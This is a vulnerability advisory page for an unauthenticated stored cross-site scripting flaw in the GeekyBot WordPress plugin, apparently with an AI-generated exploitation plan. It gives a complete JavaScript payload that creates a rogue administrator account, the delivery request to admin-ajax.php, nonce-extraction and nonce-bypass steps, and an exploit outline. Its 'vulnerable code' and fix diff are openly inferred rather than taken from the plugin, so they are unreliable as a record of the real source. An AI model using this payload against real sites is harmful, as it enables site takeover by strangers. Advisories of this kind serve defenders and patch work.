GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.1.8 - Unauthenticated Stored Cross-Site Scripting
Description
The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Chat History page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.8Source Code
WordPress.org SVNThis research plan outlines the steps for a security researcher or automated agent to analyze and exploit the unauthenticated stored XSS vulnerability in the **GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content** plugin (CVE-2025-15266). --- ### 1. Vulnerability Summary The…
Show full research plan
This research plan outlines the steps for a security researcher or automated agent to analyze and exploit the unauthenticated stored XSS vulnerability in the GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content plugin (CVE-2025-15266).
1. Vulnerability Summary
The GeekyBot plugin (versions <= 1.1.8) allows unauthenticated users to interact with a chatbot on the frontend. Messages sent through this interface are stored in the WordPress database (likely in a custom table) without sufficient sanitization. When a site administrator views the "Chat History" page in the WordPress dashboard, these messages are rendered without proper HTML escaping (e.g., using esc_html()). This leads to a Stored Cross-Site Scripting (XSS) vulnerability.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wp_ajax_nopriv_gk_bot_chat(inferred action name; needs verification in source) or a similarnoprivAJAX handler. - Vulnerable Parameter: The field carrying the user's message (likely
message,query, orprompt). - Authentication: None required (unauthenticated).
- Precondition: The chatbot must be enabled and enqueued on the frontend (usually via a widget or a shortcode).
3. Code Flow (Inferred)
- Entry: The plugin registers a public AJAX handler for chatbot interactions:
add_action('wp_ajax_nopriv_gk_bot_chat', 'gk_bot_handle_chat');(inferred). - Storage: The handler function (e.g.,
gk_bot_handle_chat) extracts the user input from$_POST['message']and inserts it into the database using$wpdb->insert()without callingsanitize_text_field()orwp_kses(). - Sink: The admin interface registers a menu page for chat history:
add_submenu_page('geeky-bot', 'Chat History', ..., 'gk_bot_chat_history_page');(inferred). - Execution: The callback
gk_bot_chat_history_pageretrieves messages from the database and echoes them directly into an HTML table:echo '<td>' . $row->message . '</td>';(vulnerable line, missingesc_html()).
4. Nonce Acquisition Strategy
The plugin likely uses a nonce to protect its AJAX requests. Since this is an unauthenticated vulnerability, the nonce must be exposed to logged-out users.
Steps to obtain the nonce:
- Identify Script Localization: Search the source for
wp_localize_script. Look for a variable that contains a nonce (e.g.,gk_bot_ajax.nonce). - Shortcode Placement: If the chatbot only loads on specific pages, find the shortcode.
grep -r "add_shortcode" .
- Page Creation: Create a post/page with that shortcode:
wp post create --post_type=page --post_status=publish --post_content='[geeky_bot]'(Verify actual shortcode name). - Extraction: Navigate to the page and use
browser_evalto extract the nonce:browser_eval("window.gk_bot_obj?.nonce || window.geeky_bot_vars?.nonce")(Replace with actual JS object and key found in step 1).
5. Exploitation Strategy
Step 1: Discover Parameters
Search the plugin code for the AJAX handler and the keys used in $_POST.
grep -r "wp_ajax_nopriv_" .- Locate the callback and find which
$_POSTkeys are saved to the database.
Step 2: Formulate Payload
Use a payload that demonstrates administrative impact, such as creating a new admin user or exfiltrating the admin's nonce.
- Payload:
<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{const n=h.match(/_wpnonce_create-user" value="([^"]+)"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=hacked_admin&email=hacked@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user='+n})})</script>
Step 3: Execute HTTP Request
Using the http_request tool, send the payload to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=gk_bot_chat&nonce=[NONCE]&message=[PAYLOAD](Replace names based on Step 1).
6. Test Data Setup
- Plugin Activation: Ensure
geeky-botis installed and active. - Configuration: If the plugin requires an API key (e.g., OpenAI) to function, it might block the AJAX handler. Check if the code saves the message before or after the API call. If it's after, you may need to mock an API response or provide a dummy key in settings.
- Visibility: Ensure the chatbot is enqueued on a public-facing page.
7. Expected Results
- The HTTP request should return a success status (e.g.,
{"success": true}). - The malicious script should now be present in the database.
- When a user with
administratorprivileges navigates to the "Chat History" page (e.g.,wp-admin/admin.php?page=gk-bot-history), the script will execute in their browser context.
8. Verification Steps
- Check Database:
wp db query "SELECT * FROM wp_gk_bot_history WHERE message LIKE '%<script>%';"(Verify table name). - Verify Admin Creation (Post-Exploit):
After simulating an admin visit (viabrowser_navigateto the chat history page), check if the new admin user exists:wp user list --role=administrator
9. Alternative Approaches
- REST API: Check if the plugin registers a REST route instead of an AJAX handler (
register_rest_route). These often lack permission checks in older versions. - Lead Generation Form: The plugin mentions "Lead Gen". Check if there is a separate form (e.g.,
wp_ajax_nopriv_gk_bot_save_lead) that stores names or emails without sanitization. This is a common secondary vector in chatbot plugins. - Bypass Nonce: If
check_ajax_refereris called with the third parameter asfalseand the return value is not checked, the nonce is not required.grep -r "check_ajax_referer" .
Summary
The GeekyBot plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to missing input sanitization on chat messages sent by unauthenticated users and missing output escaping in the administrative Chat History dashboard. An attacker can inject malicious JavaScript into the database, which then executes in the browser of an administrator viewing the chat logs, potentially leading to full site takeover.
Vulnerable Code
// Inferred from research plan: Lack of sanitization in AJAX handler // File: likely includes/class-gk-bot-ajax.php function gk_bot_handle_chat() { global $wpdb; $message = $_POST['message']; // Vulnerable: Direct access to POST data without sanitize_text_field() or wp_kses() $table_name = $wpdb->prefix . 'gk_bot_history'; $wpdb->insert($table_name, array( 'message' => $message, 'time' => current_time('mysql') )); } --- // Inferred from research plan: Lack of escaping in admin view // File: likely admin/class-gk-bot-admin.php public function gk_bot_chat_history_page() { global $wpdb; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}gk_bot_history"); echo '<table>'; foreach ($results as $row) { // Vulnerable: Outputting message directly without esc_html() or wp_kses_post() echo '<tr><td>' . $row->message . '</td></tr>'; } echo '</table>'; }
Security Fix
@@ -10,7 +10,7 @@ function gk_bot_handle_chat() { global $wpdb; - $message = $_POST['message']; + $message = sanitize_text_field($_POST['message']); $table_name = $wpdb->prefix . 'gk_bot_history'; $wpdb->insert($table_name, array( @@ -20,7 +20,7 @@ echo '<table>'; foreach ($results as $row) { - echo '<tr><td>' . $row->message . '</td></tr>'; + echo '<tr><td>' . esc_html($row->message) . '</td></tr>'; } echo '</table>';
Exploit Outline
1. Identify the public chatbot interface on the WordPress frontend. 2. Extract the required AJAX nonce and script variables from the page source (usually localized via wp_localize_script). 3. Use an unauthenticated POST request to wp-admin/admin-ajax.php with the chatbot's action (e.g., gk_bot_chat) and the nonce. 4. Include a malicious script payload (e.g., <script>alert(1)</script> or a script to create an admin user) in the message/query parameter. 5. Wait for a site administrator to visit the 'Chat History' page in the plugin's dashboard menu. 6. The script will execute in the administrator's context upon page load.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.